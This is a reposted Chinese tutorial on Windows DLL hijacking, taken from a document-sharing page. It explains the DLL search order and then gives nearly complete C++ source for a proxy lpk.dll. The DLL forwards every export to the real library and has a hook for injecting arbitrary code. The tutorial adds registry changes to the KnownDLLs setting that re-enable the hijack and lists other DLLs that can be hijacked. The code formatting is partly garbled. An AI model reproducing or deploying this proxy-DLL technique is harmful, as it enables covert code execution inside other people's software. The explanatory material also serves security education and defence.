版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领
文档简介
1、0x01 什么是DLL这里看一下百度百科的解释: DLL(Dynamic Link Library)文件为动态链接库文件,又称“应用程序拓展”,是软件文件类型。 知识科普DLL劫持注入 作者:83417攻防实验室 原文链接:/s/KU9kq0sBH4VEfTYSGRaWmA本文由 干货 收集整理:/test/index.php3在Windows中,许多应用程序并不是一个完整的可执行文件,它们被分割成一些相对独立的动态链接库,即DLL文件,放置于系统中。当我们执行某一个程序时,相应的DLL文件就会被调用。 一个应用
2、程序可使用多个DLL文件,一个DLL文件也可能被不同的应用程序使用,这样的DLL文件被称为共享DLL文件。 还有一段,我觉得更好理解的。 DLL 是一个包含可由多个程序同时使用的代码和数据的库。 例如,在 Windows 操作系统中,Comdlg32 DLL 执行与对话框有关的常见函数。因此,每个程序都可以使用该 DLL 中包含的功能来实现“打开”对话框。 这有助于促进代码重用和内存的有效使用。 0x02 动态链接库加载顺序一、Windows XP SP2之前 Windows查找DLL的目录以及对应的顺序: 1. 进程对应的应用程序所在目录; 2. 当前目录(Current Directory
3、); 3. 系统目录(通过 GetSystemDirectory 获取); 4. 16位系统目录; 5. Windows目录(通过 GetWindowsDirectory 获取); 6. PATH环境变量中的各个目录; 例如: 对于文件系统,如doc文档打开会被应用程序office打开,而office运行的时候会加载系统的一个dll文件,如果我们将用恶意的dll来替换系统的dll文件,就是将DLL和doc文档放在一起,运行的时候就会在当前目录中找到DLL,从而优先系统目录下的DLL而被执行。 二、在Windows xp sp2之后 Windows查找DLL的目录以及对应的顺序(SafeDllS
4、earchMode 默认会被开启): 默认注册表为: HKEY_LOCAL_MACHINESystemCurrentControlSetControlSession ManagerSafeDllSearchMode,其键值为11. 进程对应的应用程序所在目录(可理解为程序安装目录比如C:ProgramFilesuTorrent); 2. 系统目录(即%windir%system32); 3. 16位系统目录(即%windir%system); 4. Windows目录(即%windir%); 5. 当前目录(运行的某个文件所在目录,比如C:DocumentsandSettingsAdminis
5、tratorDesktoptest); 6. PATH环境变量中的各个目录; 0x03 什么是DLL劫持根据前面说的Windows资源共享机制,操作系统加载程序首先从应用程序目录中加载模块。这一特性在注册表中也有体现:HKLMSystemCurrentControlSetControlSessionManagerSafeDllSearchMode,如果为1,搜索的顺序为:应用程序所在目录-系统目录(用GetSystemDirectory获取)-16位系统目录-Windows目录(用GetWindowsDirectory获取)-运行程序的当前目录-PATH环境变量,如果为0,搜索顺序为:应用程序
6、所在目录-运行程序的当前目录-系统目录(用GetSystemDirectory获取)-16位系统目录-Windows目录(用GetWindowsDirectory获取)-PATH环境变量。Windows Server 2003 默认值为1,WindowsXP/2000默认值为0或者没有这个键值。但是不管是哪种情况,第一个搜索的肯定是应用程序的所在目录,这样就有机会让应用程序去加载我们的DLL。如果这个DLL和系统目录下的某个DLL同名,导出表也相同,功能就是加载系统目录下的那个DLL,并且将导出表转发到那个真实的DLL。这时DLL劫持就发生了。可以看出,构造一个符合上面要求的DLL,再将其放在
7、可执行文件的目录即可轻松实现DLL劫持了。 0x04 DLL劫持的实现这一步我们的工作就是通过编程来实现一个LPK.DLL文件,它与系统目录下的LPK.DLL导出表相同,并能加载系统目录下的LPK.DLL,并且能将导出表转发到真实的LPK.DLL。可以看出我们要实现的这个DLL需求如下: 1、构造一个与系统目录下LPK.DLL一样的导出表; 2、加载系统目录下的LPK.DLL; 3、将导出函数转发到系统目录下的LPK.DLL上; 4、在初始化函数中加入我们要执行的代码。 6 / LPK.DLL劫持注入源码/ 头文件#include stdafx.h#include #include / 导出函
8、数#pragma comment(linker, /EXPORT:LpkInitialize=_AheadLib_LpkInitialize,1)#pragma comment(linker, /EXPORT:LpkTabbedTextOut=_Ahead/ 宏定义#define EXTERNC extern C#define NAKED declspec(naked)#define EXPORT declspec(dllexport)#define ALCPP EXPORT NAKED#define ALSTD EXTERNC EXPORT NAKED void stdcall#define
9、 ALCFAST EXTERNC EXPORT NAKED void fastcall#define ALCDECL EXTERNC NAKED void cdecl/ /添加全局变量 / AheadLib 命名空间namespace AheadLib HMODULE m_hModule = NULL; / 原始模块句柄 / 加载原始模块 inline BOOL WINAPI Load()TCHAR tzPathMAX_PATH;TCHAR tzTempMAX_PATH * 2;GetSystemDirectory(tzPath, MAX_PATH);lstrcat(tzPath, TEXT(
10、lpk.dll);m_hModule = LoadLibrary(tzPath);if (m_hModule = NULL)wsprintf(tzTemp, TEXT(无法加载 %s,程序无法正常运行。), tzPath);MessageBox(NULL, tzTemp, TEXT(AheadLib)/ 释放原始模块 inline VOID WINAPI Free()if (m_hModule)FreeLibrary(m_hModule); / 获取原始函数地址 FARPROC WINAPI GetAddress(PCSTR pszProcName)FARPROC fpAddress;CHAR
11、 szProcName16;TCHAR tzTempMAX_PATH;fpAddress = GetProcAddress(m_hModule, pszProcName);if (fpAddress = NULL)if (HIWORD(pszProcName) = 0)wsprintfA(szProcName, %d, pszProcName);pszProcName = szProcName; wsprintf(tzTemp, TEXT(无法找到函数 %hs,程序无法正常运行。), pszProcName);MessageBox(NULL, tzTemp, TEXT(AheadLib), M
12、B_ICONSTOP);ExitProcess(-2);return fpAddress; using namespace AheadLib;/ /函数声明void WINAPIV InitInject(LPVOID pParam);/自己添加功能的函数void WINAPIV InitInject(LPVOID pParam) /在这里可以添加自己的DLL /LoadLibrary(TEXT(.MyDll.dll)/ 入口函数BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved) if (dwReason
13、= DLL_PROCESS_ATTACH) DisableThreadLib else if (dwReason = DLL_PROCESS_DETACH) Free(); return TRUE;/ 导出函数ALCDECL AheadLib_LpkInitialize(void) GetAddress(LpkInitialize); asm JMP EAX;/ 导出函数ALCDECL AheadLib_LpkTabbedTextOut(void) GetAddress(LpkTabbedTextOut); asm JMP EAX;/ 导出函数ALCDECL AheadLib_LpkDllIn
14、itialize(void) GetAddress(LpkDllInitialize); asm JMP EAX;/ 导出函数ALCDECL AheadLib_LpkDrawTextEx(void) GetAddress(LpkDrawTextEx); asm JMP EAX;/ 导出函数ALCDECL AheadLib_LpkEditControl(void) GetAddress(LpkEditControl); asm jmp DWORD ptrEAX;/这里的LpkEditControl是数组,eax存的是 / 导出函数ALCDECL AheadLib_LpkExtTextOut(vo
15、id) GetAddress(LpkExtTextOut); asm JMP EAX;/ 导出函数ALCDECL AheadLib_LpkGetCharacterPlacement(void) GetAddress(LpkGetCharacterPlacement); asm JMP EAX;/ 导出函数ALCDECL AheadLib_LpkGetTextExtentExPoint(void) GetAddress(LpkGetTextExtentExPoint); asm JMP EAX;/ 导出函数ALCDECL AheadLib_LpkPSMTextOut(void) GetAddre
16、ss(LpkPSMTextOut); asm JMP EAX;/ 导出函数ALCDECL AheadLib_LpkUseGDIWidthCache(void) GetAddress(LpkUseGDIWidthCache); asm JMP EAX;/ 导出函数ALCDECL AheadLib_ftsWordBreak(void) GetAddress(ftsWordBreak); asm JMP EAX;/0x05 实现效果把的LPK.DLL放在程序同目录下(这样会首先加载我们 的DLL)注:可能需要修改注册表,使得程序从执行文件所在目录加载DLL(修改完可能需要重启)有些高版本系统和程序已
17、经不能劫持lpk.dll了,这里我用了 反病毒论坛的FileCleaner2.0.exe程序测试成功!12其他可劫持的dll为:lpk.dll、winmm.dll、ws2_32.dll、ws2help.dll、version.dll、usp10.dll、msimg32.dll、midimap.dll、ksuser.dll、comres.dll、ddraw.dll等 XP:把HKEY_LOCAL_MACHINESystemCurrentControlSetControlSessionManagerknowndlls下的lpk项删除掉,重启电脑。 WIN7:在HKEY_LOCAL_MACHINESystemCurrentControlSetControlSessionManager添加一个键值ExcludeFromKnownDlls(多字符串类型),把lpk.dll加进去。如果需要其他DLL请自行加入。 如图: 查看我们的LPK.DLL导出表,与系统原来的一样 运行程序后先加载了我们的LPK.DLL,程序被劫持 从模块列表中也可以看到,既加载了我们的LPK.DLL,也加载了系统的lpk.dll0x06 DLL劫持的应用首先使用m
温馨提示
- 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
- 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
- 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
- 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
- 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
- 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
- 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。
最新文档
- 四不干型内部制度
- 威海海洋职业学院《生物教具制作》2024-2025学年第二学期期末试卷
- 机关内部书室管理制度
- 机关内部调查回避制度
- 机关服务中心内部制度
- 机电项目内部规章制度
- 构建内部审计管理制度
- 楼长内部管理规范制度
- 民办小学内部控制制度
- 民法内部讲义监护制度
- 《混合动力电动汽车结构原理与检修》课件
- 高校食堂安全培训讲话课件
- DB5115-T 75-2021 市场监管所规范化建设指南
- 农产品溯源追溯体系的完善
- 电梯钢结构的应急预案脚本(3篇)
- 企业AI在招聘中的应用
- 国企招聘笔试题及答案-投资专员、投资经理B卷
- 脑梗的观察与护理
- 坐校车安全教育
- 健康类直播课件
- 2025年高校教师资格证之高等教育法规题库(综合题)
评论
0/150
提交评论